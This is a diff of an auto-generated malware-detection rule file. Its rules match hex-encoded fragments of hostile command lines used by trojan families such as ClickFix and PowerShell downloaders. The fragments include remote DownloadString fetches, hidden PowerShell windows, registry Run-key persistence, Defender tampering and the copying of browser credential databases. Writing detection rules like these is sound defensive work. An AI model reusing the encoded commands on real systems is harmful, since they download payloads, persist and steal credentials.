00 53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 4e 00 54 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 2f 00 76 00 20 00 52 00 65 00 71 00 75 00 69 00 72 } //0 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*80+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_f9_9 & 1)*0) >=71 + +} +rule _InfrastructureShared_28250{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 21 " @@ -347120,7 +369380,7 @@ rule _InfrastructureShared_26540{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*79) >=2 } -rule _InfrastructureShared_26541{ +rule _InfrastructureShared_28251{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 04 00 21 " @@ -347132,18 +369392,7 @@ rule _InfrastructureShared_26541{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_00_3 & 1)*101) >=1 } -rule _InfrastructureShared_26542{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 03 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 44 6f 77 6e 49 6e 66 6f 2e 42 41 00 0a 00 8e 00 67 00 65 00 74 00 2d 00 72 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 76 00 61 00 6c 00 75 00 65 00 20 00 22 00 68 00 6b 00 } //21283 - $a_00_1 = {3a 00 5c 00 73 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 63 00 72 00 79 00 70 00 74 00 6f 00 67 00 72 00 61 00 70 00 68 00 79 00 22 00 20 00 22 00 6d 00 61 00 63 00 68 00 69 00 6e 00 65 00 67 00 75 00 69 00 64 00 22 00 0a 00 da 00 69 00 66 00 20 00 28 00 2d } //108 - condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*108) >=20 - -} -rule _InfrastructureShared_26543{ +rule _InfrastructureShared_28252{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 06 00 21 " @@ -347157,7 +369406,7 @@ rule _InfrastructureShared_26543{ ((#a_46_0 & 1)*21283+(#a_0a_1 & 1)*-28672+(#a_02_2 & 1)*113+(#a_00_4 & 1)*112+(#a_02_5 & 1)*113) >=2 } -rule _InfrastructureShared_26544{ +rule _InfrastructureShared_28253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 05 00 21 " @@ -347171,7 +369420,7 @@ rule _InfrastructureShared_26544{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*110+(#a_00_2 & 1)*100+(#a_00_3 & 1)*74+(#a_00_4 & 1)*106) >=1 } -rule _InfrastructureShared_26545{ +rule _InfrastructureShared_28254{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -347181,7 +369430,7 @@ rule _InfrastructureShared_26545{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26546{ +rule _InfrastructureShared_28255{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 06 00 21 " @@ -347193,7 +369442,7 @@ rule _InfrastructureShared_26546{ ((#a_46_0 & 1)*21283+(#a_2d_2 & 1)*656+(#a_00_4 & 1)*101) >=2 } -rule _InfrastructureShared_26547{ +rule _InfrastructureShared_28256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1f 00 1f 00 0a 00 21 " @@ -347209,7 +369458,7 @@ rule _InfrastructureShared_26547{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*109+(#a_00_3 & 1)*549+(#a_00_4 & 1)*103+(#a_00_5 & 1)*97+(#a_00_7 & 1)*117+(#a_00_9 & 1)*91) >=31 } -rule _InfrastructureShared_26548{ +rule _InfrastructureShared_28257{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0d 00 0d 00 09 00 21 " @@ -347223,7 +369472,7 @@ rule _InfrastructureShared_26548{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*97+(#a_00_4 & 1)*99+(#a_00_6 & 1)*105+(#a_00_7 & 1)*112) >=13 } -rule _InfrastructureShared_26549{ +rule _InfrastructureShared_28258{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 03 00 21 " @@ -347234,7 +369483,7 @@ rule _InfrastructureShared_26549{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*109) >=1 } -rule _InfrastructureShared_26550{ +rule _InfrastructureShared_28259{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 08 00 21 " @@ -347249,7 +369498,18 @@ rule _InfrastructureShared_26550{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*144+(#a_73_2 & 1)*656+(#a_02_3 & 1)*121+(#a_02_4 & 1)*100+(#a_61_7 & 1)*656) >=10 } -rule _InfrastructureShared_26551{ +rule _InfrastructureShared_28260{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0f 00 0f 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 6b 61 72 6b 2e 48 41 21 4d 54 42 00 05 00 cb 02 72 00 65 00 67 00 20 00 61 00 64 00 64 00 20 00 68 00 6b 00 63 00 75 00 5c 00 73 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 6d } //21283 + $a_00_2 = {73 00 6f 00 66 00 74 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 63 00 75 00 72 00 72 00 65 00 6e 00 74 00 76 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 72 00 75 00 6e 00 20 00 2f 00 76 00 20 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 75 00 70 00 64 00 61 00 74 00 65 00 20 00 2f 00 74 00 20 00 72 00 65 00 67 00 5f } //114 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*114) >=15 + +} +rule _InfrastructureShared_28261{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 04 00 21 " @@ -347260,7 +369520,7 @@ rule _InfrastructureShared_26551{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*97) >=1 } -rule _InfrastructureShared_26552{ +rule _InfrastructureShared_28262{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 0a 00 21 " @@ -347278,7 +369538,37 @@ rule _InfrastructureShared_26552{ ((#a_44_0 & 1)*17187+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1) >=1 } -rule _InfrastructureShared_26553{ +rule _InfrastructureShared_28263{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 15 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 5a 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 12 00 24 00 45 00 6e 00 76 00 3a 00 74 00 6d 00 70 00 2b 00 } //21283 + $a_00_1 = {2d 00 22 00 77 00 22 00 20 00 68 00 20 00 2d 00 43 00 } //1 -"w" h -C + $a_00_2 = {e2 00 80 00 94 00 77 00 20 00 68 00 20 00 2d 00 22 00 43 00 22 00 } //1 + $a_00_3 = {2d 00 57 00 20 00 68 00 20 00 2d 00 43 00 } //1 -W h -C + $a_00_4 = {2d 00 57 00 20 00 48 00 69 00 44 00 64 00 45 00 6e 00 20 00 2d 00 43 00 20 00 } //1 -W HiDdEn -C + $a_00_5 = {2d 00 77 00 20 00 6d 00 69 00 6e 00 69 00 6d 00 69 00 7a 00 65 00 64 00 20 00 2d 00 63 00 } //1 -w minimized -c + $a_00_6 = {2d 00 77 00 20 00 31 00 20 00 2d 00 63 00 } //1 -w 1 -c + $a_00_7 = {2d 00 77 00 20 00 68 00 20 00 2d 00 63 00 6f 00 6d 00 } //1 -w h -com + $a_00_8 = {2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 74 00 79 00 6c 00 65 00 20 00 68 00 20 00 2d 00 63 00 } //1 -windowstyle h -c + $a_00_9 = {2d 00 77 00 69 00 20 00 31 00 20 00 2d 00 63 00 6f 00 6d 00 } //1 -wi 1 -com + $a_00_10 = {2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 20 00 68 00 20 00 2d 00 63 00 6f 00 } //1 -window h -co + $a_00_11 = {2d 00 77 00 69 00 20 00 68 00 20 00 2d 00 63 00 6f 00 } //1 -wi h -co + $a_00_12 = {2d 00 77 00 20 00 68 00 20 00 2d 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 } //1 -w h -command + $a_00_13 = {e2 00 80 00 95 00 77 00 20 00 68 00 20 00 e2 00 80 00 94 00 43 00 } //1 + $a_00_14 = {2f 00 77 00 20 00 68 00 20 00 2f 00 43 00 } //1 /w h /C + $a_00_15 = {e2 00 80 00 95 00 57 00 20 00 68 00 20 00 2d 00 63 00 } //1 + $a_00_16 = {2d 00 57 00 20 00 68 00 20 00 e2 00 80 00 94 00 43 00 } //1 + $a_00_17 = {2d 00 77 00 20 00 68 00 20 00 2d 00 4e 00 6f 00 50 00 20 00 2d 00 63 00 } //1 -w h -NoP -c + $a_00_18 = {e2 00 80 00 95 00 77 00 20 00 68 00 20 00 2f 00 63 00 } //1 + $a_00_19 = {2f 00 77 00 20 00 68 00 20 00 2d 00 43 00 } //1 /w h -C + $a_31_20 = {00 20 00 20 00 0b 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 6d 69 45 78 65 63 44 65 66 65 6e 64 65 72 54 61 6d 70 65 72 2e 42 00 0a 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 0a 00 10 00 2d 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 0a 00 20 00 53 00 65 00 74 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 02 00 2e 00 2d 00 53 00 75 00 62 00 6d 00 69 00 74 00 53 00 61 00 6d 00 70 00 6c 00 65 00 73 00 43 00 6f 00 6e 00 73 00 65 00 6e 00 74 00 20 00 32 00 02 00 20 00 2d 00 4d 00 41 00 50 00 53 00 52 00 65 00 70 00 6f 00 72 00 74 00 69 } //0 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1+(#a_00_15 & 1)*1+(#a_00_16 & 1)*1+(#a_00_17 & 1)*1+(#a_00_18 & 1)*1+(#a_00_19 & 1)*1+(#a_31_20 & 1)*0) >=111 + +} +rule _InfrastructureShared_28264{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,20 00 20 00 0b 00 21 " @@ -347298,7 +369588,24 @@ rule _InfrastructureShared_26553{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*2+(#a_00_4 & 1)*2+(#a_00_5 & 1)*2+(#a_00_6 & 1)*2+(#a_00_7 & 1)*2+(#a_00_8 & 1)*2+(#a_00_9 & 1)*2+(#a_00_10 & 1)*2) >=32 } -rule _InfrastructureShared_26554{ +rule _InfrastructureShared_28265{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 08 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 53 68 65 6c 6c 44 6c 72 2e 59 47 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 64 00 43 02 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 } //21283 + $a_00_1 = {69 00 6e 00 67 00 28 00 [0-02] 68 00 74 00 74 00 70 00 [0-02] 3a 00 2f 00 2f 00 [0-3c] 2e 00 73 00 68 00 6f 00 70 00 2f 00 90 00 64 00 41 02 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 [0-02] 68 00 74 00 74 00 70 00 [0-02] 3a 00 2f 00 2f 00 [0-30] 2e 00 78 00 79 00 7a 00 2f 00 } //116 + $a_02_2 = {64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 [0-02] 68 00 74 00 74 00 70 00 [0-02] 3a 00 2f 00 2f 00 [0-30] 2e 00 74 00 6f 00 64 00 61 00 79 00 2f 00 } //100 + $a_02_3 = {64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 [0-02] 68 00 74 00 74 00 70 00 [0-02] 3a 00 2f 00 2f 00 [0-30] 2e 00 72 00 75 00 6e 00 2f 00 } //100 + $a_02_4 = {64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 [0-02] 68 00 74 00 74 00 70 00 [0-02] 3a 00 2f 00 2f 00 [0-30] 2e 00 63 00 79 00 6f 00 75 00 2f 00 } //100 + $a_02_5 = {64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 [0-02] 68 00 74 00 74 00 70 00 [0-02] 3a 00 2f 00 2f 00 [0-30] 2e 00 63 00 6c 00 69 00 63 00 6b 00 2f 00 } //100 + $a_02_6 = {64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 [0-02] 68 00 74 00 74 00 70 00 [0-02] 3a 00 2f 00 2f 00 [0-30] 2e 00 6c 00 61 00 74 00 2f 00 } //100 + $a_51_7 = {00 10 00 10 00 08 00 21 23 53 4c 46 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 45 73 65 6e 74 75 74 6c 44 6d 70 2e 42 00 05 00 1a 00 5c 00 65 00 73 00 65 00 6e 00 74 00 75 00 74 00 6c 00 2e 00 65 00 78 00 65 00 05 00 08 00 20 00 2f 00 79 00 20 00 05 00 08 00 20 00 2f 00 64 00 20 00 01 00 59 02 5c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 6c 00 6f 00 63 00 61 00 6c 00 5c 00 90 02 ff 5c 00 75 00 73 00 65 00 72 00 20 00 64 00 61 00 74 00 61 00 5c 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 5c 00 77 00 65 00 62 00 20 00 64 00 61 00 74 00 61 00 90 00 01 00 69 02 5c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 6c 00 6f 00 63 } //0 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*116+(#a_02_2 & 1)*100+(#a_02_3 & 1)*100+(#a_02_4 & 1)*100+(#a_02_5 & 1)*100+(#a_02_6 & 1)*100+(#a_51_7 & 1)*0) >=110 + +} +rule _InfrastructureShared_28266{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,10 00 10 00 08 00 21 " @@ -347312,7 +369619,7 @@ rule _InfrastructureShared_26554{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*47+(#a_00_3 & 1)*112+(#a_00_5 & 1)*112+(#a_00_7 & 1)*97) >=16 } -rule _InfrastructureShared_26555{ +rule _InfrastructureShared_28267{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,12 00 12 00 12 00 21 " @@ -347329,14 +369636,16 @@ rule _InfrastructureShared_26555{ $a_00_9 = {46 00 6f 00 72 00 6d 00 61 00 74 00 2d 00 4c 00 69 00 73 00 74 00 } //1 Format-List $a_00_10 = {73 00 65 00 6c 00 65 00 63 00 74 00 20 00 4e 00 61 00 6d 00 65 00 2c 00 52 00 6f 00 6c 00 65 00 2c 00 45 00 66 00 66 00 65 00 63 00 74 00 69 00 76 00 65 00 55 00 73 00 65 00 72 00 4e 00 61 00 6d 00 65 00 2c 00 41 00 73 00 73 00 69 00 67 00 6e 00 6d 00 65 00 6e 00 74 00 4d 00 65 00 74 00 68 00 6f 00 64 00 2c 00 49 00 73 00 56 00 61 00 6c 00 69 00 64 00 } //1 select Name,Role,EffectiveUserName,AssignmentMethod,IsValid $a_02_11 = {43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 54 00 6f 00 2d 00 43 00 73 00 76 00 20 00 2d 00 4e 00 6f 00 54 00 79 00 70 00 65 00 49 00 6e 00 66 00 6f 00 72 00 6d 00 61 00 74 00 69 00 6f 00 6e 00 7c 00 [0-20] 7c 00 20 00 4f 00 75 00 74 00 2d 00 46 00 69 00 6c 00 65 00 } //1 - $a_7f_12 = {00 1f 00 1f 00 15 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 4a 21 4d 54 42 00 0a 00 0a 00 6d 00 73 00 68 00 74 00 61 00 0a 00 08 00 68 00 74 00 74 00 70 00 0a 00 04 00 5c 00 31 00 01 00 08 00 20 00 72 00 61 00 79 00 01 00 14 00 20 00 72 00 65 00 63 00 61 00 70 00 74 00 63 00 68 00 61 00 01 00 16 00 20 00 72 00 65 00 20 00 63 00 61 00 70 00 74 00 63 00 68 00 61 00 01 00 16 00 50 00 72 00 65 00 73 00 73 00 20 00 45 00 6e 00 74 00 65 00 72 00 01 00 12 00 20 00 72 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 01 00 14 00 20 00 63 00 6c 00 69 00 70 00 20 00 46 00 52 00 45 00 45 00 01 00 14 00 20 } //0 - $a_00_14 = {20 00 46 00 52 00 45 00 45 00 01 00 10 00 72 00 6f 00 62 00 6f 00 74 00 3a 00 20 00 72 00 01 00 12 00 72 00 6f 00 62 00 6f 00 74 00 20 00 2d 00 20 00 72 00 01 00 24 00 72 00 6f 00 62 00 6f 00 74 00 20 00 2d 00 20 00 43 00 6c 00 6f 00 75 00 64 00 66 00 6c 00 61 00 72 00 65 00 01 00 22 00 72 00 6f 00 62 00 6f 00 74 00 3a 00 20 00 43 00 6c 00 } //101 - $a_00_15 = {64 00 66 00 6c 00 61 00 72 00 65 00 01 00 1c 00 72 00 6f 00 62 00 6f 00 74 00 3a 00 20 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 01 00 1e 00 72 00 6f 00 62 00 6f 00 74 00 20 00 2d 00 20 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 01 00 12 00 48 00 75 00 6d 00 61 00 6e 00 20 00 2d 00 20 00 72 00 01 00 10 00 48 00 75 00 6d 00 61 00 6e 00 3a 00 20 } //111 + $a_89_12 = {00 1f 00 1f 00 15 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 4b 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 08 00 68 00 74 00 74 00 70 00 0a 00 04 00 5c 00 31 00 01 00 08 00 20 00 72 00 61 00 79 00 01 00 14 00 20 00 72 00 65 00 63 00 61 00 70 00 74 00 63 00 68 00 61 00 01 00 16 00 50 00 72 00 65 00 73 00 73 00 20 00 45 00 6e 00 74 00 65 00 72 00 01 00 16 00 20 00 72 00 65 00 20 00 63 00 61 00 70 00 74 00 63 00 68 00 61 00 01 00 12 00 20 00 72 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 01 00 14 00 20 00 63 00 6c 00 69 00 70 00 20 00 46 00 52 } //0 + $a_00_14 = {20 00 4f 00 76 00 65 00 72 00 20 00 46 00 52 00 45 00 45 00 } //1 Over FREE + $a_00_15 = {72 00 6f 00 62 00 6f 00 74 00 3a 00 20 00 72 00 } //1 robot: r + $a_00_16 = {72 00 6f 00 62 00 6f 00 74 00 20 00 2d 00 20 00 72 00 } //1 robot - r + $a_00_17 = {72 00 6f 00 62 00 6f 00 74 00 20 00 2d 00 20 00 43 00 6c 00 6f 00 75 00 64 00 66 00 6c 00 61 00 72 00 65 00 } //1 robot - Cloudflare condition: - ((#a_63_0 & 1)*16931+(#a_2e_1 & 1)*29806+(#a_69_2 & 1)*28786+(#a_76_3 & 1)*29795+(#a_2e_4 & 1)*26478+(#a_6d_5 & 1)*28281+(#a_00_6 & 1)*10+(#a_02_7 & 1)*5+(#a_02_8 & 1)*5+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_02_11 & 1)*1+(#a_7f_12 & 1)*0+(#a_00_14 & 1)*101+(#a_00_15 & 1)*111) >=18 + ((#a_63_0 & 1)*16931+(#a_2e_1 & 1)*29806+(#a_69_2 & 1)*28786+(#a_76_3 & 1)*29795+(#a_2e_4 & 1)*26478+(#a_6d_5 & 1)*28281+(#a_00_6 & 1)*10+(#a_02_7 & 1)*5+(#a_02_8 & 1)*5+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_02_11 & 1)*1+(#a_89_12 & 1)*0+(#a_00_14 & 1)*1+(#a_00_15 & 1)*1+(#a_00_16 & 1)*1+(#a_00_17 & 1)*1) >=18 } -rule _InfrastructureShared_26556{ +rule _InfrastructureShared_28268{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,10 00 10 00 06 00 21 " @@ -347350,44 +369659,7 @@ rule _InfrastructureShared_26556{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*114+(#a_00_2 & 1)*108+(#a_00_3 & 1)*99+(#a_00_5 & 1)*114) >=16 } -rule _InfrastructureShared_26557{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1f 00 1f 00 15 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 4a 21 4d 54 42 00 0a 00 0a 00 6d 00 73 00 68 00 74 00 61 00 0a 00 08 00 68 00 74 00 74 00 70 00 0a 00 04 00 5c 00 31 00 01 00 08 00 20 00 72 00 61 00 79 00 01 } //21283 - $a_00_2 = {63 00 61 00 70 00 74 00 63 00 68 00 61 00 01 00 16 00 20 00 72 00 65 00 20 00 63 00 61 00 70 00 74 00 63 00 68 00 61 00 01 00 16 00 50 00 72 00 65 00 73 00 73 00 20 00 45 00 6e 00 74 00 65 00 72 00 01 00 12 00 20 00 72 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 01 00 14 00 20 00 63 00 6c 00 69 00 70 } //114 - $a_00_4 = {45 00 01 00 14 00 20 00 4f 00 76 00 65 00 72 00 20 00 46 00 52 00 45 00 45 00 01 00 10 00 72 00 6f 00 62 00 6f 00 74 00 3a 00 20 00 72 00 01 00 12 00 72 00 6f 00 62 00 6f 00 74 00 20 00 2d 00 20 00 72 00 01 } //82 - $a_00_6 = {6f 00 74 00 20 00 2d 00 20 00 43 00 6c 00 6f 00 75 00 64 00 66 00 6c 00 61 00 72 00 65 00 01 00 22 00 72 00 6f 00 62 00 6f 00 74 00 3a 00 20 00 43 00 6c 00 6f 00 75 00 64 00 66 00 6c 00 61 00 72 00 65 00 01 00 1c 00 72 00 6f 00 62 00 6f 00 74 00 3a 00 20 00 43 00 41 00 50 00 54 00 43 00 48 00 } //111 - $a_00_7 = {1e } //65 - $a_00_9 = {74 00 20 00 2d 00 20 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 01 00 12 00 48 00 75 00 6d 00 61 00 6e 00 20 00 2d 00 20 00 72 00 01 00 10 00 48 00 75 00 6d 00 61 00 6e 00 3a 00 20 00 72 00 01 00 1c 00 48 00 75 00 6d 00 61 00 6e 00 3a 00 20 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 01 00 1e 00 48 00 75 00 6d 00 61 00 6e 00 20 } //98 - $a_00_11 = {50 00 54 00 43 00 48 00 41 00 01 00 6a 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 3a 00 20 00 46 00 69 00 78 00 20 00 49 00 6e 00 74 } //67 - $a_00_13 = {74 00 20 00 44 00 4e 00 53 00 20 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 20 00 72 00 65 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 00 00 d7 7f 02 00 f3 00 f3 00 09 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 52 4f 4b 52 61 74 2e 52 50 41 21 4d 54 42 00 0a 00 1c 00 } //110 - $a_00_14 = {77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 64 00 5c 00 2d 00 52 00 65 00 63 00 75 00 72 00 73 00 65 00 20 00 2a 00 2e 00 2a 00 20 00 2d 00 46 00 69 00 6c 00 65 00 20 00 7c 00 20 00 77 00 68 00 65 00 72 00 65 00 20 00 7b 00 24 00 5f 00 2e 00 65 00 78 00 74 00 65 00 6e 00 73 00 69 00 6f 00 6e 00 20 00 2d } //112 - $a_00_16 = {0a 00 40 00 7c 00 20 00 77 00 68 00 65 00 72 00 65 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 20 00 7b 00 } //32 - $a_00_17 = {2e 00 6c 00 65 00 6e 00 67 00 74 00 68 00 20 00 2d 00 65 00 71 00 20 00 30 00 78 00 0a 00 42 00 4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 49 00 4f 00 2e 00 46 00 69 00 6c 00 65 00 53 00 74 00 72 00 65 00 61 00 6d 00 28 } //36 - $a_00_19 = {53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 49 00 4f 00 2e 00 46 00 69 00 6c 00 65 00 4d 00 6f 00 64 00 65 00 5d 00 3a 00 3a 00 4f 00 70 00 65 00 6e 00 2c 00 20 00 5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 49 00 4f 00 2e 00 46 00 69 00 6c 00 65 00 41 00 63 00 63 00 65 } //148 - condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*114+(#a_00_4 & 1)*82+(#a_00_6 & 1)*111+(#a_00_7 & 1)*65+(#a_00_9 & 1)*98+(#a_00_11 & 1)*67+(#a_00_13 & 1)*110+(#a_00_14 & 1)*112+(#a_00_16 & 1)*32+(#a_00_17 & 1)*36+(#a_00_19 & 1)*148) >=31 - -} -rule _InfrastructureShared_26558{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,fffffff3 00 fffffff3 00 09 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 52 4f 4b 52 61 74 2e 52 50 41 21 4d 54 42 00 0a 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 64 00 5c 00 2d 00 52 00 65 00 63 } //21283 - $a_00_2 = {20 00 2a 00 2e 00 2a 00 20 00 2d 00 46 00 69 00 6c 00 65 00 20 00 7c 00 20 00 77 00 68 00 65 00 72 00 65 00 20 00 7b 00 24 00 5f 00 2e 00 65 00 78 00 74 00 65 00 6e 00 73 00 69 00 6f 00 6e 00 20 00 2d 00 69 00 6e 00 20 00 24 00 0a 00 40 00 7c 00 20 00 77 00 68 00 65 00 72 00 65 00 2d 00 6f 00 62 00 6a } //115 - $a_00_4 = {7b 00 24 00 5f 00 2e 00 6c 00 65 00 6e 00 67 00 74 00 68 00 20 00 2d 00 65 00 71 00 20 00 30 00 } //116 {$_.length -eq 0 - $a_00_5 = {42 00 4e 00 65 00 77 00 2d 00 } //120 BNew- - $a_00_6 = {6a 00 65 00 63 00 74 00 20 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 49 00 4f 00 2e 00 46 00 69 00 6c 00 65 00 53 00 74 00 72 00 65 00 61 00 6d 00 28 00 24 00 64 00 94 00 5b 00 53 00 79 00 73 00 74 00 65 00 